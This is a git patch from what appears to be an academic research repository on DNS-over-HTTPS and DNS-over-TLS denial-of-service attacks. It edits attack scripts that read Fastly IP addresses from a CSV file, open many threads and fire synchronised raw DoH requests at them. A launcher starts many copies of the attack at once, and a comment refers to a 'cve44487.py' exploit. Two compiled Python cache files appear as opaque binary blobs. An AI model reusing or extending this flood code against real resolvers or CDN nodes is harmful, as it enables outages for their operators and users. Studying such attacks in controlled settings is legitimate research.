From 945ff8455f6394e1b94be0dd5be3c449ac032806 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E2=80=9Cshihaoyue=E2=80=9D?= <“shihaoyue@mesalab.cn”> Date: Thu, 24 Oct 2024 20:01:43 +0800 Subject: [PATCH] update --- .../__pycache__/logger_DoE.cpython-310.pyc | Bin 0 -> 1809 bytes 6_dot_DDoS/att_pending_cookie.py | 10 ++++------ 6_dot_DDoS/start_pending.py | 6 +++--- .../__pycache__/logger_DoE.cpython-310.pyc | Bin 0 -> 1809 bytes 4 files changed, 7 insertions(+), 9 deletions(-) create mode 100644 6_dot_DDoS/__pycache__/logger_DoE.cpython-310.pyc create mode 100644 7_doh_DDoS/__pycache__/logger_DoE.cpython-310.pyc diff --git a/6_dot_DDoS/__pycache__/logger_DoE.cpython-310.pyc b/6_dot_DDoS/__pycache__/logger_DoE.cpython-310.pyc new file mode 100644 index 0000000000000000000000000000000000000000..35ea7639e4d3bb4201fac8ffa03f8e68efe380f4 GIT binary patch literal 1809 zcmZvc&2HO95XX0ypHgHaj@=^t0t&QhOCYf>K@LGt*r=V}%e^Mo)QzKFeNv$}8m5|12$8O0&WaXUNs;&TnS6SX*l{jLmpj`@P;#&jf$$zB)YG-Rnky3F9~)j8z<)W*mDNkk21Ausoxx;Mc9KG>&eK>HRlK)X z9Cxx}I8-{`EB3c1=bE6Bvy#|{%;oe8xqbgX00L`vXz>=r9RMk=7$7(Z+_i!4=aoKB z$n|`XPV-kxi?3qWT=E+}W3iZ#bY=q5l?+})_hO^{>T!GgxGleJ|Msl?`?L0OVt%Xe->Ic6X=%K1kqJ}1~#*#jx9x-8>S17qb zW*XIB$c9Ywq47_wYSv2pv5Jw5A-!I|RpNT3@#R2`i`;m2StRr(oa--0tR~4~Ce(G6 zB0u+0qwD-)^A5lwO9_#f4>~S&jjcOk+yH_RYVU@<0SL*aOt&b|ss_RV1nl36OU~ID zkKFFba{y?myqszk56UD>BVRv+C*uH#@g^Dsj5{hR5IG%BN-8OtCMc=fkc@|B)aM@u zMYqUTm?agAK*@z@y)8$4xOlh})(XOvo}$WHB=}1h6+>#prFi2YMt&`3&JCiV=-%;e zZd#;PoFZRj8H^5dgY<9v^4tGNmKE98+@+iWZ3DGMv7tGP=? zXM!%Soq3VzAF&q4A*%W(65l|8X_4j;ud8CUAdHt}MX6}5JyMH`;r|N2UJMB3dBcU}A$J`kka+Yu=W!bZ#0^gaqTT^ag25`^D)wk2$f*!!~vPHR8q a+=M^Zcl|Gfsw7__N+9G2My&e}{Qm%FwQP|9 literal 0 HcmV?d00001 diff --git a/6_dot_DDoS/att_pending_cookie.py b/6_dot_DDoS/att_pending_cookie.py index 3071d11..1859cd5 100644 --- a/6_dot_DDoS/att_pending_cookie.py +++ b/6_dot_DDoS/att_pending_cookie.py @@ -10,7 +10,6 @@ import sys import time import requests import dns.message -import httpx import gzip import io import pandas as pd @@ -18,7 +17,6 @@ import tqdm from concurrent.futures import ThreadPoolExecutor import threading from dns.message import make_query -from logger_DoE import * def ge_cookie(): cookie = "" @@ -47,7 +45,7 @@ def send_request(event,url,t,latency,stime): body = ','.join([f'{name}: {value}' for name, value in headers.items()]) request_line = "GET /dns-query?dns=" + f"{dns_req} HTTP/1.1\r\n" conn.send(request_line.encode()) - headers0 = {'host': 'www.doeresearch.site'} + headers0 = {'host': 'doegj.lushlife.space'} headers0 = ''.join([f'{name}: {value}\r\n' for name, value in headers0.items()]) conn.send(headers0.encode()) @@ -92,7 +90,7 @@ if __name__ == '__main__': args = parser.parse_args() - path = '/root/Nora/cdn/' + path = '' #path = 'D:\Volumes\调研\项目\YYDNS\GJ\DDOS/' df = pd.read_csv(path+'fastly_att.csv',nrows=64) data = df.set_index('ip')['latency'].to_dict() @@ -112,7 +110,7 @@ if __name__ == '__main__': start_time = time.perf_counter() # while time.perf_counter() - start_time < 0.1: # pass - #print('all waiting') + print('all waiting') while time.perf_counter() - stime < wait_time: pass # 触发事件,同时释放所有线程 @@ -120,7 +118,7 @@ if __name__ == '__main__': # 等待所有线程完成 for t in threads: t.join() - #print('ATT over:',time.time() - s_time) + print('ATT over:',time.time() - s_time) #for i in tqdm.tqdm(range(1000)): #send_request("151.101.76.204",0,0,0) diff --git a/6_dot_DDoS/start_pending.py b/6_dot_DDoS/start_pending.py index aaa29a8..e17e491 100644 --- a/6_dot_DDoS/start_pending.py +++ b/6_dot_DDoS/start_pending.py @@ -5,7 +5,7 @@ import random import string import time -import dns +import dns.message from logger_DoE import * @@ -31,7 +31,7 @@ logger = InfoLogger(interval=1) logger.log_info(LogLevel.INFO, "程序开始运行") for i in range(int(args.n)): #print(f"python3 cve44487.py -s {i}") - os.popen(f"python att_pending_https.py -stime {stime} -round {round} -wait {wait_time}") + os.popen(f"python3 att_pending_cookie.py -stime {stime} -round {round} -wait {wait_time}") message = dns.message.make_query(''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))+ ".google.com", "A") message.flags |= dns.flags.RD @@ -51,4 +51,4 @@ while True: if elapsed_time>wait_time: logger.log_info(LogLevel.INFO, "程序结束运行") logger.close() # 关闭日志记录 - break \ No newline at end of file + break diff --git a/7_doh_DDoS/__pycache__/logger_DoE.cpython-310.pyc b/7_doh_DDoS/__pycache__/logger_DoE.cpython-310.pyc new file mode 100644 index 0000000000000000000000000000000000000000..b73a418c3ffff727803f15195f96f167014ec641 GIT binary patch literal 1809 zcmZvc&2HO95XX0ypHgHaPTV5>0t&QhOQ5kXK?(##VWW0Z1Fqc427>592;8+ofg

~Mx$&F=hWW{b78Cd2sW@6F*~K4brq zu{<0Y+n8k!LNduS)~}zu&#f)`0#A`SW4G^e_KZnKx|dA47ozXM@}v*ThvmZxWC$yS z6-a)>qQ*P;W!;Dy@6V~4s)Wqt!C`D;mR~|BMw?3Fx;+nStdf=bRxVjnV>(=X)q{r><6tl6f;n-I4Eq_|{&;2?0<2ELb9 z`Ya*W^FcbzUokDdid}KZulbC{Vn))L2}oBmcoE(6jrNO&?eW95{JQU}Jrc#DbY_!6f);o>p|A6wO|mH1;7BN;<_y?&#_^-AN*ff^UN@$9ll==*T4KO?c4B#W6) z*Hw!A+(nJ9^Yi<+02WzFh{Sx*aj9!;-4Wvk5R6cJ*X%VwNH%43C97Ny#)pN!^5GJT#*| z`!FcFMZUl+sbB<3E=22XI^zBLgQc)m5U%tTRn{WGpTnpaQY$XRYX>p%D=~Af5d}r} zmUkn^R^ZLiC({bWOuUU(w@ffrWr=G;e}|VJ9+evBTTENcP0(K>>)6{`hdyd*11MQiPmT2u^om#Ep#C|&(2 zmPElv+m`s(SHh2^-R^MP#h>5E^N|3aur@)e>4LXKd>x_{6A564h#E&u=k literal 0 HcmV?d00001